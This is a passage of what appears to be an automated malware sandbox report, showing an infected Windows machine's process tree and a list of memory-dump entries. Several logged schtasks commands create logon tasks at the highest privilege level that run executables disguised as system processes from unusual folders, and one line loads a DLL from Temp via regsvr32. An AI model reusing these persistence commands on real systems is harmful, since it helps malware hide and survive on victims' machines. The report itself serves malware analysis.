                                                                                                                                                                                                                                                                                                                                                            schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\actxprxy\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                            PID:8264
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                            schtasks.exe /create /tn "Calculator" /sc ONLOGON /tr "'C:\PerfLogs\Calculator.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                            PID:8288
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6252
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1660
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                PID:9120
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5840
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "Viloxaehede" /sc ONLOGON /tr "'C:\Windows\SchCache\Viloxaehede.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:1312
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:7004
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\mprmsg\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:4596
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                  PID:4440
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "build" /sc ONLOGON /tr "'C:\odt\build.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:8176
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:7492
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6016
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                      schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\kbdhebl3\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                      PID:5092
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6452
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7744
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:7708
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                                                                                                                                                                                                                            regsvr32 /s C:\Users\Admin\AppData\Local\Temp\369C.dll
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:6484
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:8976
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4496
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1796
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6900
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5176
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6872
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:8144
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1628
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:7404
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3448
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6396
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:9084
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6528
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6052
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5592
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7128
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8104
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8544
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4976
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3512
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1976
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2464

                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-293-0x0000000000400000-0x0000000002DE8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                41.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-306-0x0000000000400000-0x0000000002DE8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                41.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-275-0x0000000000400000-0x0000000002DE8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                41.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-298-0x0000000002EF0000-0x000000000303A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-282-0x0000000003094000-0x00000000030E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                316KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/400-198-0x0000000000400000-0x0000000002DE8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                41.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1204-342-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1216-176-0x0000000000C06000-0x0000000000C6E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                416KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1216-241-0x0000000000B40000-0x0000000000BD3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                588KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1280-505-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                436KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1684-161-0x0000000000BE6000-0x0000000000BF7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                68KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1684-188-0x0000000000030000-0x0000000000039000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1728-206-0x0000000000400000-0x00000000008F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1728-204-0x0000000000C50000-0x0000000000D26000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                856KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1768-158-0x0000000000130000-0x0000000000131000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1768-202-0x000000001C210000-0x000000001C372000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                1.4MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1768-233-0x000000001BCE0000-0x000000001BDB8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                864KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1772-354-0x0000000077390000-0x000000007751E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1772-372-0x0000000007090000-0x0000000007091000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-215-0x0000000004870000-0x0000000004871000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-189-0x0000000000080000-0x0000000000081000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-201-0x0000000004890000-0x0000000004891000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1796-220-0x0000000004960000-0x0000000004961000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-260-0x0000000005ED0000-0x0000000005ED1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-289-0x0000000005DE0000-0x0000000005DE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-236-0x00000000011D0000-0x00000000011D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-254-0x0000000003C10000-0x0000000003C11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-237-0x0000000077390000-0x000000007751E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-249-0x00000000064E0000-0x00000000064E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1864-270-0x0000000005EC0000-0x0000000005EC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1884-209-0x000000001B4A0000-0x000000001B4A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1884-551-0x0000000004BC0000-0x00000000051C6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/1884-182-0x00000000007E0000-0x00000000007E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

